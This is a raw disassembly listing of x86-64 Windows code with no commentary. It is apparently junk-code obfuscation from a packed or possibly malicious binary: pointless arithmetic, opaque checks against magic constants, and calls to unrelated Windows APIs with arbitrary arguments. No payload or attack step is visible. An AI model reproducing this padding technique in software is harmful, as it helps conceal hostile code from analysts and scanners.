cmp ax, 0xc22
jbe 0x1400058a2
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
cmp eax, 0x228
je 0x140005823
cmp eax, 0x8e4
je 0x140005892
jmp 0x1400058a2
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
cmp eax, 0x1aa
je 0x14000583d
cmp eax, 0x6fe
je 0x14000588a
jmp 0x1400058a2
lea rdx, [rbp + 0x361c]
lea rax, [rbp + 0x3270]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetPSClsid]
call rax
mov dword [rbp + 0x361c], eax
movzx eax, word [rbp + 0x5dc]
and ax, 0xd2f
mov word [rbp + 0x5dc], ax
mov edx, 0x7b
mov ecx, 0xf1
mov rax, qword [sym.imp.ole32.dll_CoCancelCall]
call rax
mov dword [rbp + 0x1468], eax
jmp 0x140005890
call fcn.1400c881f
nop
jmp 0x1400058a2
mov eax, dword [0x1400dd310]
shl eax, 0x17
mov dword [0x1400dd310], eax
nop
mov dword [rbp + 0x15678], 0x9ab9
lea rax, [rbp + 0x5dc]
mov qword [rbp + 0x4148], rax
mov eax, dword [0x1400dd310]
mov dword [rbp + 0x50c8], eax
movzx eax, byte [rbp + 0x221a]
cmp al, 0x88
ja 0x140005926
mov rax, qword [rbp + 0x41b0]
mov rdx, qword [rbp + 0x29e8]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_LBItemFromPt]
call rax
mov dword [rbp + 0x3424], eax
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
shr dx, 0xb
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
xor ax, 0x3fe
mov word [rbp + 0x5dc], ax
call fcn.1400c881f
movzx eax, word [rbp + 0x5dc]
or ax, 0x66f
mov edx, eax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
cmp ax, dx
jae 0x140005aa1
lea rax, [rbp + 0x221a]
mov qword [rbp + 0x12c8], rax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xec9
jne 0x140005a70
mov eax, dword [rbp + 0x50c8]
mov dword [rbp + 0x194], eax
mov dword [rbp + 0x1566c], 0xedba
mov eax, dword [rbp + 0x3424]
test eax, eax
je 0x14000599c
cmp eax, 0xd1f104e
je 0x140005a2d
jmp 0x140005a5a
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
lea edx, [rax - 0x54b]
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
cmp edx, eax
jg 0x1400059ff
mov word [rbp + 0x4dfc], 0x5e85
mov dword [rbp + 0x15760], 0x570e
mov eax, dword [rbp + 0x194]
mov dword [rbp + 0x3424], eax
lea rax, [rbp + 0x221a]
mov qword [rbp + 0xa70], rax
mov byte [rbp + 0x24aa], 3
movzx eax, word [rbp + 0x5dc]
mov word [rbp + 0x129e], ax
mov dword [rbp + 0x1567c], 0x6e72
movzx eax, word [rbp + 0x4dfc]
mov word [rbp + 0x3e7e], ax
mov dword [rbp + 0x1570c], 0xdcfc
mov dword [rbp + 0x15764], 0xa6a
jmp 0x140005a5a
lea rdx, [rbp + 0x12c8]
mov rax, qword [rbp + 0x15168]
mov r9d, 0x12
mov r8, rdx
lea rdx, [fcn.1400c881f]
mov rcx, rax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rbp + 0x15164], eax
nop
mov dword [rbp + 0x1564c], 0x6501
mov dword [rbp + 0x156d4], 0xa13
jmp 0x140005aa1
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x3424]
and eax, edx
mov dword [rbp + 0x50c8], eax
nop
movabs rax, 0x60d5376162a07d99
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x596
je 0x140005b69
cmp eax, 0xe18
jne 0x140005b87
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4de0]
lea rdx, [rbp + 0x12c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call rax
mov dword [rbp + 0x15160], eax
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
sub eax, 0x27
mov byte [rbp + 0x24aa], al
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50c8]
mov dword [rsp + 0x20], 0x19
mov r9d, 0xe3
mov r8d, 0x98
mov ecx, eax
call fcn.1400033f0
jmp 0x140005b87
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
nop
movzx eax, word [rbp + 0x3e7e]
cwde
mov edx, 0x6e18
mov ecx, edx
sar eax, cl
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
cwde
cmp edx, eax
jl 0x140005c0c
movzx eax, word [rbp + 0x4dfc]
xor ax, 0x3b61
mov word [rbp + 0x3e7e], ax
mov ecx, pe_nt_image_headers64
mov rax, qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
call rax
mov word [rbp + 0x152c], ax
movzx eax, word [rbp + 0x129e]
movzx ecx, ax
movzx eax, word [rbp + 0x5dc]
movzx r9d, ax
movzx eax, word [rbp + 0x129e]
movzx r8d, ax
movzx eax, word [rbp + 0x5dc]
movzx edx, ax
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
mov rax, qword [rbp + 0x2378]
shl rax, 3
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
or edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
and eax, edx
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x2378]
movabs rdx, 0xf5a23cb20164f4dd
add rax, rdx
mov qword [rbp + 0x2378], rax
movzx eax, word [rbp + 0x4dfc]
add ax, 0x7aa3
mov word [rbp + 0x3e7e], ax
movzx eax, byte [rbp + 0x24aa]
add eax, 0x39
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
add eax, eax
mov byte [rbp + 0x24aa], al
movzx ecx, word [rbp + 0x5dc]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x4148]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x221a]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x12c8]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
sub eax, 0x1a
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
and edx, ecx
mov byte [rax], dl
movzx ecx, word [rbp + 0x152c]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
sub edx, eax
mov dword [0x1400dd310], edx
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
or edx, ecx
mov byte [rax], dl
mov edx, dword [0x1400dd310]
mov eax, dword [rbp + 0x3424]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x50c8], eax
movzx eax, byte [rbp + 0x24aa]
shl eax, 3
mov byte [rbp + 0x24aa], al
movzx eax, word [rbp + 0x4dfc]
and ax, 0x1e3b
mov word [rbp + 0x3e7e], ax
add dword [rbp + 0x1567c], 0x70
movzx eax, byte [rbp + 0x24aa]
sub eax, 6
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x1567c], 0x85a2
jne 0x140005c0c
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [rbp + 0x3424], eax
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
and edx, ecx
mov byte [rax], dl
add dword [rbp + 0x156d4], 0xf2
mov rax, qword [rbp + 0x2378]
movabs rdx, 0x4d06c25f588cc989
add rax, rdx
mov qword [rbp + 0x2378], rax
movzx eax, byte [rbp + 0x24aa]
or eax, 0x29
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
xor edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
sar al, 6
mov byte [rbp + 0x24aa], al
movzx eax, word [rbp + 0x129e]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x5dc], ax
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [0x1400dd310], edx
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x194]
sub edx, eax
mov dword [rbp + 0x50c8], edx
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
add eax, 0x74
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x50c8]
and eax, edx
mov dword [0x1400dd310], eax
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
or edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x50c8]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x3424], eax
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
xor eax, edx
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x3e7e]
add ax, 0x21f8
mov word [rbp + 0x4dfc], ax
movzx ecx, word [rbp + 0x5dc]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x221a], al
movzx eax, byte [rbp + 0x24aa]
sub eax, 0xa
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0xa70]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
add eax, 0x6d
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x2378]
movabs rdx, 0x2607d3af08448d8f
add rax, rdx
mov qword [rbp + 0x2378], rax
cmp dword [rbp + 0x156d4], 0x2399
jne 0x140005f74
mov rdx, qword [rbp + 0x2378]
movabs rax, 0x63a7231adab98810
cmp rdx, rax
jle 0x140006311
movzx edx, word [rbp + 0x152c]
movzx ecx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0xa70]
mov rax, qword [rbp + 0x15158]
mov r9d, 0x33
mov r8, rdx
mov edx, 0xf4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov dword [rbp + 0x3b8], eax
mov dword [rbp + 0x15770], 0x5a0f
lea rax, [rbp + 0x4dfc]
mov qword [rbp + 0x46b0], rax
mov eax, dword [rbp + 0x3424]
test eax, eax
je 0x140006343
cmp eax, 0x25466acf
je 0x140006428
jmp 0x1400064e1
mov eax, dword [0x1400dd310]
cmp eax, 0x7796e12f
jne 0x140006406
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x3e7e]
mov rax, qword [rbp + 0x46b0]
or edx, ecx
mov word [rax], dx
mov r8d, dword [rbp + 0x160a]
lea rdx, [rbp + 0x2378]
mov rax, qword [rbp + 0x15150]
lea rcx, [rbp + 0x4148]
mov qword [rsp + 0x20], rcx
mov r9d, r8d
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
call rax
mov dword [rbp + 0x1514c], eax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x3424]
xor eax, edx
mov dword [0x1400dd310], eax
jmp 0x140006423
lea rax, [rbp + 0x3b8]
mov qword [rbp + 0x4830], rax
lea rax, [rbp + 0x50c8]
mov qword [rbp + 0x2f40], rax
nop
jmp 0x1400064e1
mov rax, qword [rbp + 0x15150]
mov r8d, 1
mov edx, 0xee
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EraseTape]
call rax
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x4830]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov eax, dword [rbp + 0x2728]
cmp eax, 0xe27b0b99
jne 0x1400064b6
movzx eax, word [rbp + 0x129e]
mov word [rbp + 0x152c], ax
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov r9d, 0x2a
mov r8d, 0x90
mov ecx, eax
call fcn.1400033f0
jmp 0x1400064e0
lea rax, [rbp + 0x3f30]
mov r9d, 0x93
mov r8, rax
mov edx, 0x7a
mov ecx, 0x86
mov rax, qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call rax
mov dword [rbp + 0x50c8], eax
nop
nop
lea rax, [rbp + 0x221a]
mov qword [rbp + 0x15140], rax
mov dword [rbp + 0x1572c], 0xa887
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
mov ecx, edx
and ecx, eax
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
add eax, edx
cmp ecx, eax
jge 0x140006571
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
add eax, 0x1c
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
jmp 0x14000667a
mov rax, qword [rbp + 0x2378]
mov qword [rbp + 0x4f88], rax
mov dword [rbp + 0x15774], 0xa1ab
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
lea ecx, [rdx + rax]
mov edx, dword [0x1400dd310]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
cmp ecx, edx
jle 0x14000660e
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
cmp eax, 0x49ac60b0
je 0x1400065c9
cmp eax, 0xe61fcf25
je 0x1400065fd
jmp 0x14000667a
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov r9d, 0x92
mov r8d, 0x51
mov ecx, eax
call fcn.1400033f0
jmp 0x14000667a
mov rax, qword [sym.imp.KERNEL32.dll_GetOEMCP]
call rax
mov dword [rbp + 0x2764], eax
jmp 0x14000667a
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
xor eax, edx
movzx edx, al
movzx eax, byte [rbp + 0x221a]
movzx r8d, al
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
je 0x14000667a
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x4830]
or edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
mov ecx, edx
and ecx, eax
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
sub edx, eax
cmp ecx, edx
jl 0x140006755
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
cmp eax, 0x1cd9
je 0x1400066c1
cmp eax, 0x3ff9
je 0x1400066cb
jmp 0x14000685c
call fcn.1400c881f
jmp 0x14000685c
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
lea rax, [rbp + 0x221a]
mov qword [rbp + 0x15720], rax
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x129e]
and eax, edx
mov word [rbp + 0x5dc], ax
lea rax, [rbp + 0x3e7e]
mov qword [rbp + 0x15690], rax
mov eax, dword [rbp + 0x3424]
mov dword [0x1400e1030], eax
lea rax, [rbp + 0x24aa]
mov qword [rbp + 0x15738], rax
mov dword [rbp + 0x15718], 0xb151
lea rax, [rbp + 0x2728]
mov qword [rbp + 0x15660], rax
jmp 0x14000685c
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x152c]
movzx edx, ax
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x14000685c
movzx eax, word [rbp + 0x129e]
movzx edx, ax
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x152c]
movzx edx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
cmp ecx, edx
je 0x140006840
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
cmp eax, 0x54
jne 0x14000682f
movzx eax, byte [rbp + 0x24aa]
add eax, 0x3d
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x194], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
call rax
movzx eax, byte [rbp + 0x221a]
movzx edx, al
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
jmp 0x140006840
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadLocale]
call rax
mov word [rbp + 0x36a6], ax
nop
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x221a], al
movzx eax, byte [rbp + 0x24aa]
mov byte [rbp + 0x3507], al
mov dword [rbp + 0x15648], 0x241
lea rax, [rbp + 0x129e]
mov qword [rbp + 0x9f0], rax
mov dword [rbp + 0x15644], 0xffa3
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x32a]
xor eax, edx
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
movsx r8d, ax
movzx eax, word [rbp + 0x4dfc]
cwde
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x1400068dd
movzx ecx, word [rbp + 0x4dfc]
movzx edx, word [rbp + 0x32a]
mov rax, qword [rbp + 0x46b0]
and edx, ecx
mov word [rax], dx
lea rax, [rbp + 0x221a]
mov qword [rbp + 0x15138], rax
jmp 0x140006b89
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx edx, word [rbp + 0x36a6]
movzx ecx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x5dc], ax
add dword [rbp + 0x15718], 3
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400dd310], eax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x221a], al
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x3424], eax
movzx ecx, word [rbp + 0x4dfc]
movzx edx, word [rbp + 0x3e7e]
mov rax, qword [rbp + 0x46b0]
or edx, ecx
mov word [rax], dx
mov eax, dword [rbp + 0x2728]
mov dword [rbp + 0x3b8], eax
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
sub edx, eax
mov dword [0x1400dd310], edx
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x9f0]
add edx, ecx
mov word [rax], dx
